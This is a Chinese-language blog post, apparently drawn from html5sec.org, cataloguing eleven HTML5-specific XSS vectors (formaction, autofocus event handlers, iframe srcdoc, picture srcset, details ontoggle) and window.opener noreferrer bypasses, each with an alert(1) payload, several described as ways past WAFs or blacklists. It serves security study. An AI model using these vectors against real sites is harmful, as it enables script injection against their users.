HTML5 特定向量存在的XSS漏洞

摘要

根据Powermapper出版的统计,他们分析的Web页面中超过50%使用了HTML5 DOCTYPE,这意味着它们是HTML5 web应用
HTML5非常流行,由于它的一些新特性可以让Web应用开发者构建更多的交互式页面。然而,新特性也意味着新漏洞,本文分析了引入HTML5后的一些新特性及随之而来的漏洞
跨站脚本在本文中是一个重点,对HTML5特点的利用能排在第一,因为许多开发者存储很多敏感数据在客户端。我们要讨论的特性包括WebStorage, WebSQL, Geoloaction API, CORS, Cross Window Messaging, sandboxes iframes, webworkers等,以及它们被不安全使用时引发的相应漏洞
源站:http://html5sec.org/#html5
为什么XSS这么有生命力:https://mp.weixin.qq.com/s/58AjCUVKJkqvS0zPGmg2nQ

(1)通过formaction进行XSS-需要用户交互(1)
一个显示HTML5表单和formaction功能的向量,用于在实际表单之外进行表单劫持。

<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>

(2)通过自动对焦自动执行焦点事件
此向量使用具有自动聚焦的输入元素来调用其自己的聚焦事件处理程序-无需用户交互

<input onfocus=write(1) autofocus>

(3)通过自动对焦竞赛自动执行模糊事件
在这里,我们有两个HTML输入元素争夺焦点-一个正在执行JavaScript以失去焦点

<input onblur=write(1) autofocus><input autofocus>

 

(4)通过<BODY>onscroll autofocus自动执行JavaScript
此向量触发一个onscroll事件,该事件在<BODY>上执行JavaScript,因为在页面下方的<INPUT>上有一个自动焦点。

<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>

(5)通过<VIDEO>和<SOURCE>标记执行JavaScript(1)
Opera10.5+和Chrome允许在<SOURCE>标记中使用错误处理程序(如果由<VIDEO>标记封装)。同样适用于<AUDIO>标签

<video><source onerror="alert(1)">

(6)通过formaction进行XSS-需要用户交互(2)
一个矢量,显示用于表单劫持的HTML5“ formaction”功能。请注意,此变体不使用“ id”和“ form”属性来连接按钮和表单。

<form><button formaction="javascript:alert(1)">X</button>


(7)通过<BODY>和oninput属性执行被动JavaScript
除Internet Explorer 9之外的所有浏览器都支持“oninput”事件处理程序,它可以处理给定的<INPUT>等表单元素。该事件适用于表单元素本身、周围的表单和<BODY>以及<HTML>标记。

<body oninput=alert(1)><input autofocus>


(8)通过Iframes中的“srcdoc”属性执行JavaScript
HTML5为Iframes指定了一个“srcdoc”属性。这个属性与数据uri非常相似,它能够托管HTML文本,以便由浏览器作为Iframe的内容呈现。由“srcdoc”属性创建的伪文档对宿主域具有完全访问权限,尽管它是在人工源中运行的。这个属性应该只与Iframe沙盒结合使用。
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />

(9)HTML5<picture>元素和“srcset”属性
HTML5提供了<picture>元素,用于响应和可访问的图像。<picture>元素本质上包装了<source>和<img>元素,并提供了一种提供替代内容的方法。这里的新颖之处在于“srcset”属性允许触发加载事件。这很可能绕过现有的WAF系统。

<picture><source srcset="x"><img onerror="alert(1)"></picture>
<picture><img srcset="x" onerror="alert(1)"></picture>
<img srcset=",,,,,x" onerror="alert(1)">

(10) 绕过rel=“noreferrer”的window.opener保护
在许多情况下,开发人员可能希望减轻使用window.opener及其可写位置对象的选项卡捕捉攻击。为此,建议使用rel=“noreferrer”属性应用外部链接。但是,根据外部链接的嵌入方式,保护可能会失败,window.opener可能不是空的,但仍然会被公开。这里的问题是,rel属性只对<a>和<area>有效。但是,链接和类似链接的导航功能可以以多种其他方式嵌入。进一步注意,MSIE几乎忽略了标准,没有进一步的努力就不会破坏window.opener。

<a href="//baidu.com" target="_blank" rel="noreferrer">CLICK</a> // window.opener will be null
<map><area href="//baidu.com" target="_blank" rel="noreferrer">CLICK</area></map> // window.opener will be null
<svg><a xlink:href="//baidu.com" rel="noreferrer">CLICK</a></svg> // window.opener still works
<form action="//baidu.com" target="_blank" rel="noreferrer"><input type="submit"></form>// window.opener still works
<form id="test" rel="noreferrer"></form><button form="test" formtarget="_blank" formaction="//baidu.com">CLICKME</button>// window.opener still works
<math href="//baidu.com" xlink:show="new" rel="noreferrer">CLICKME</math>// window.opener still works
(11)通过<DETAILS>和ontogle执行JavaScript
<DETAILS>元素在现代基于Blink的浏览器上触发“ontogle”事件,而不需要用户交互。这可能会被滥用以绕过黑名单,因为事件标记组合不是很清楚。

<details open ontoggle="alert(1)">

Payload混淆方法(BurpSuite双重编码)

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注